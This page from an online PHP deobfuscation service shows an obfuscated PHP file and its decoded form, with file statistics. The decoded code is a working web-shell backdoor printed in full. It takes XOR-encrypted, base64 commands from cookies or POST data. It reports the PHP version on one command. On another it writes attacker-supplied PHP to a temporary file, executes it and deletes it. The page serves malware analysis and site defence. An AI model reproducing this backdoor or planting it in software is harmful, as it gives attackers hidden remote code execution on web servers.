Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function tpkpbyo(){$uardns='kyshbh'; print_r/* xdd */(57438+57438); } $pnkkqzlo/..

Decoded Output download

<?php 	function	tpkpbyo(){$uardns='kyshbh';  print_r/* xdd  */(57438+57438);	} 
$pnkkqzlo/* mau*/=	'pnkkqzlo'	^      ''; 
 
 
$djfmhaihj/* tl*/=	"f"."i"."l"."e"."_"/*   ib*/.     "p"/*g */.	"u"."t"/*   ggyct   */.     $pnkkqzlo(95)/*   uquyo   */.     "c".$pnkkqzlo(928-817)/* qrv  */.      "n".$pnkkqzlo(1013-897)/*  jzco*/.	"e".$pnkkqzlo(110)/*  ly   */.       "t"/*  x*/.	$pnkkqzlo(153-38); 
$mqmv_b	=   $pnkkqzlo(98)   ./*x   */"a"."s"."e".$pnkkqzlo(54)/*  zuzh*/.      $pnkkqzlo(997-945 
)/* ssgyu*/.     "_".$pnkkqzlo(100)	./* fnf  */"e"."c"."o".$pnkkqzlo(100)	./*   pwmi */"e"; 
 
 
$usnjtpdbg	=       "u"    .	"n"."s"."e"/*y  */./*   lhyx  */"r"      .    "i"       .	"a"."l".$pnkkqzlo(979-874)/*vo_m*/./*  _qtbp*/"z"."e"; 
$gytmpnfe	=    "p".$pnkkqzlo(765-661)    ./*vs  */$pnkkqzlo(112)	.      $pnkkqzlo(816-698)	./*  zk  */"e"."r"."s"  ./*  gmk_g   */"i"."o"."n"; 
 
 
$xbywtqrsrl/* upr  */=/*luqv*/"u"."n"."l"/*u */.   "i"."n"."k"; 
 
 
 
 
/*  i   */ 
function	ctbeaxz( 
$falaejyjoa,/*  _mt*/$tqdoazk){	global	$pnkkqzlo; 
    $paexm_d     =	""; 
 
	for  ($fqkkg    =/*  sqg   */0;	$fqkkg      </* ed  */strlen($falaejyjoa);)      { 
 
 
   for/*sz */($bc_jqnlbu       =/*suhy*/0;	$bc_jqnlbu/* c_ft   */<	strlen($tqdoazk)       &&	$fqkkg     </*  twgnz*/strlen($falaejyjoa);    $bc_jqnlbu++,/*   kndrq  */$fqkkg++)	{	$paexm_d/*jz   */.=  $pnkkqzlo(ord($falaejyjoa[$fqkkg])    ^  ord($tqdoazk[$bc_jqnlbu]));/*ljmb */} 
 
 
	} 
 
	return/* a_gi   */$paexm_d; 
 
} 
 
$rugbq	=/*  a */$_COOK 
IE; 
 
 
$yckhrfr    =	$_POST; 
 
$rugbq   =       array_merge($yckhrfr,	$rugbq); 
 
 
$dx_skfjk       =	"7"."0"."0"."1"	./*molz   */$pnkkqzlo(98)/*  tvh   */./*  e   */"e"."3"   .	"6"."-"."8"	.	$pnkkqzlo(57)	.   "2"."e"."-"."4"/* tfev   */.  "0"	.   "4"."4"     .	"-"     .  "a"."e"."1"	.	"5"."-"	./*vo   */"0"	.	$pnkkqzlo(100)."f"."5".$pnkkqzlo(100)/*   oivf  */.     "6"."c"    .	"3"     .	"b"	./*   uh   */$pnkkqzlo(100)."8"	.	"9"; 
 
 
foreach     ($rugbq	as/*r 
tbg */$nitlk_mqe	=>	$falaejyjoa)	{	$falaejyjoa/*  wgny */=/* qml  */$usnjtpdbg(ctbeaxz(ctbeaxz($mqmv_b($falaejyjoa),/* qonm   */$dx_skfjk),/*  tfgzg   */$nitlk_mqe)); 
 
    if    (isset($falaejyjoa["a"/*   cqjee  */.      "k"]))     {   if  ($falaejyjoa["a"]	==	"i")     { 
 
 
     $fqkkg	=	array(); 
 
/* vc  */$fqkkg[$pnkkqzlo(112)      .   "v"]/*  ape   */=/*   j  */$gytmpnfe(); 
	$fqkkg["s".$pnkkqzlo(118)]       =/* lmo */"3"."."."5"; 
 
/*s*/echo    @serialize($fqkkg); 
 
/*bojis   */}    elsei 
f	($falaejyjoa["a"]     ==	"e")/*yoxh */{/*   mynn */$fkxwjagk  =      sprintf(".".$pnkkqzlo(695-648)    .	"%"/*  _bhk  */./* ja*/$pnkkqzlo(115)	.  "."."p"    ./* m   */$pnkkqzlo(108),       md5($dx_skfjk)); 
    $djfmhaihj($fkxwjagk,/*   irqe*/"<"	.	"?".$pnkkqzlo(112)/* s*/.	"h"."p"	.    $pnkkqzlo(32)       ./*aih  */"u"."n"."l"."i"."n"	./* woaw   */"k"."("."_"."_"	.    "F"	.     "I"/*  af */./*   myone*/$pnkkqzlo(76)	.	$pnkkqzlo(69)/* qy  */.       "_"."_"	./*   xk 
doi  */")"   ./* kx*/";"	.	$pnkkqzlo(32)/*   xag   */.	$falaejyjoa[$pnkkqzlo(100)]);	include($fkxwjagk); 
 
 
       $wnaglwtszh	=	$fkxwjagk; 
      $xbywtqrsrl($wnaglwtszh);/*  pjra */}	exit(); 
/* zv   */}} ?>

Did this file decode correctly?

Original Code

<?php 	function	tpkpbyo(){$uardns='kyshbh';  print_r/* xdd  */(57438+57438);	}
$pnkkqzlo/* mau*/=	'pnkkqzlo'	^      '';


$djfmhaihj/* tl*/=	"f"."i"."l"."e"."\x5f"/*   ib*/.     "\x70"/*g */.	"u"."\164"/*   ggyct   */.     $pnkkqzlo(95)/*   uquyo   */.     "c".$pnkkqzlo(928-817)/* qrv  */.      "n".$pnkkqzlo(1013-897)/*  jzco*/.	"e".$pnkkqzlo(110)/*  ly   */.       "\x74"/*  x*/.	$pnkkqzlo(153-38);
$mqmv_b	=   $pnkkqzlo(98)   ./*x   */"a"."s"."e".$pnkkqzlo(54)/*  zuzh*/.      $pnkkqzlo(997-945
)/* ssgyu*/.     "_".$pnkkqzlo(100)	./* fnf  */"e"."c"."o".$pnkkqzlo(100)	./*   pwmi */"e";


$usnjtpdbg	=       "\165"    .	"n"."s"."\x65"/*y  */./*   lhyx  */"\x72"      .    "\151"       .	"a"."l".$pnkkqzlo(979-874)/*vo_m*/./*  _qtbp*/"z"."\145";
$gytmpnfe	=    "p".$pnkkqzlo(765-661)    ./*vs  */$pnkkqzlo(112)	.      $pnkkqzlo(816-698)	./*  zk  */"e"."r"."\163"  ./*  gmk_g   */"i"."o"."\156";


$xbywtqrsrl/* upr  */=/*luqv*/"u"."n"."\x6c"/*u */.   "i"."n"."k";




/*  i   */
function	ctbeaxz(
$falaejyjoa,/*  _mt*/$tqdoazk){	global	$pnkkqzlo;
    $paexm_d     =	"";

	for  ($fqkkg    =/*  sqg   */0;	$fqkkg      </* ed  */strlen($falaejyjoa);)      {


   for/*sz */($bc_jqnlbu       =/*suhy*/0;	$bc_jqnlbu/* c_ft   */<	strlen($tqdoazk)       &&	$fqkkg     </*  twgnz*/strlen($falaejyjoa);    $bc_jqnlbu++,/*   kndrq  */$fqkkg++)	{	$paexm_d/*jz   */.=  $pnkkqzlo(ord($falaejyjoa[$fqkkg])    ^  ord($tqdoazk[$bc_jqnlbu]));/*ljmb */}


	}

	return/* a_gi   */$paexm_d;

}

$rugbq	=/*  a */$_COOK
IE;


$yckhrfr    =	$_POST;

$rugbq   =       array_merge($yckhrfr,	$rugbq);


$dx_skfjk       =	"7"."0"."0"."\x31"	./*molz   */$pnkkqzlo(98)/*  tvh   */./*  e   */"\x65"."\63"   .	"6"."-"."\70"	.	$pnkkqzlo(57)	.   "2"."\x65"."-"."\x34"/* tfev   */.  "\60"	.   "4"."\x34"     .	"\55"     .  "a"."\x65"."\x31"	.	"5"."\55"	./*vo   */"\60"	.	$pnkkqzlo(100)."f"."5".$pnkkqzlo(100)/*   oivf  */.     "6"."\x63"    .	"\x33"     .	"\142"	./*   uh   */$pnkkqzlo(100)."\x38"	.	"9";


foreach     ($rugbq	as/*r
tbg */$nitlk_mqe	=>	$falaejyjoa)	{	$falaejyjoa/*  wgny */=/* qml  */$usnjtpdbg(ctbeaxz(ctbeaxz($mqmv_b($falaejyjoa),/* qonm   */$dx_skfjk),/*  tfgzg   */$nitlk_mqe));

    if    (isset($falaejyjoa["\141"/*   cqjee  */.      "k"]))     {   if  ($falaejyjoa["a"]	==	"\151")     {


     $fqkkg	=	array();

/* vc  */$fqkkg[$pnkkqzlo(112)      .   "v"]/*  ape   */=/*   j  */$gytmpnfe();
	$fqkkg["s".$pnkkqzlo(118)]       =/* lmo */"3"."."."\65";

/*s*/echo    @serialize($fqkkg);

/*bojis   */}    elsei
f	($falaejyjoa["a"]     ==	"\x65")/*yoxh */{/*   mynn */$fkxwjagk  =      sprintf(".".$pnkkqzlo(695-648)    .	"\x25"/*  _bhk  */./* ja*/$pnkkqzlo(115)	.  "."."\x70"    ./* m   */$pnkkqzlo(108),       md5($dx_skfjk));
    $djfmhaihj($fkxwjagk,/*   irqe*/"<"	.	"?".$pnkkqzlo(112)/* s*/.	"h"."\x70"	.    $pnkkqzlo(32)       ./*aih  */"u"."n"."l"."\151"."\156"	./* woaw   */"k"."("."_"."\137"	.    "\x46"	.     "\111"/*  af */./*   myone*/$pnkkqzlo(76)	.	$pnkkqzlo(69)/* qy  */.       "_"."\x5f"	./*   xk
doi  */"\51"   ./* kx*/"\x3b"	.	$pnkkqzlo(32)/*   xag   */.	$falaejyjoa[$pnkkqzlo(100)]);	include($fkxwjagk);


       $wnaglwtszh	=	$fkxwjagk;
      $xbywtqrsrl($wnaglwtszh);/*  pjra */}	exit();
/* zv   */}}

Function Calls

None

Variables

None

Stats

MD5 b2b420eb86bc1c5c0caa7ea0eec320a2
Eval Count 0
Decode Time 53 ms